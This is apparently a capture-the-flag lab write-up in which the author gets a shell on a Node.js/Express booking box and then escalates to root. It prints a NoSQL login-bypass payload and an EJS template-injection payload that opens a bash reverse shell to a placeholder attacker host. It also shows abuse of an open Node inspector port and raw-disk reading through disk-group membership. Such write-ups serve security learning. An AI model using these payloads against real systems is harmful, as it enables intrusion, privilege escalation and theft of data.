Hacker Holidays Day 7: Do Not Disturb
A poolside booking platform, Node.js and Express. Getting a shell meant chaining two bugs. Getting root meant a debugging port nobody should have left open. Thanks to @animsparrow for pointing me at that Node inspector pivot.
Foothold
nmap gave SSH and an Express app on port 80. Fuzzing found /staff, returning a 403. Since it is Express, I sent JSON to the login with a NoSQL payload:
Spoiler: the NoSQL auth bypass
curl -s -X POST http://<target IP>/login \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":""},"password":{"$ne":""}}'
$ne means “not equal”, so this reads as “log me in as anyone whose password
isn’t blank”, which is everyone. The server did not sanitise it and handed back a
session cookie. With that cookie, /staff opened: a console that renders a guest
message through EJS and lets me submit my own template. Classic SSTI:
curl -s -X POST http://<target IP>/staff/preview \
-H "Cookie: connect.sid=<cookie>" \
--data-urlencode "template=<%= 7*7 %>"
It returned 49. A straight require() was blocked, but EJS exposes Node’s
global process, so I reached require through it and swapped in a reverse
shell. Listener up first:
nc -lvnp 4444
Spoiler: the SSTI reverse shell
<%= global.process.mainModule.require('child_process').execSync("bash -c 'bash -i >& /dev/tcp/<attacker IP>/4444 0>&1'").toString() %>
Shell as poolside, user flag in the home directory.
Root through a debugging port
sudo -l wanted a password I did not have, so I checked the processes and found
another account running Node with a debugging port open:
Spoiler: the open debugging port
pipelin+ ... /usr/bin/node --inspect=127.0.0.1:9229 processor.js
--inspect opens a Chrome DevTools Protocol port. Anyone who can reach it runs
arbitrary JavaScript in that process. It was bound to localhost, but I already
had a shell, so localhost was mine. I queried the debugger for its
webSocketDebuggerUrl, then used a small raw Node script to send
Runtime.evaluate:
curl -s http://127.0.0.1:9229/json/list
node /tmp/cdp.js "id"
That ran as pipelinesvc, no password needed, and that account was in the disk
group.
The disk group is basically root
Membership in disk means read access to raw block devices, which walks past
file permissions. I found the main partition (/dev/nvme0n1p1) and read the root
flag straight off it with debugfs:
Spoiler: reading root off the raw disk
node /tmp/cdp.js "debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1 2>&1"
Both flags redacted here.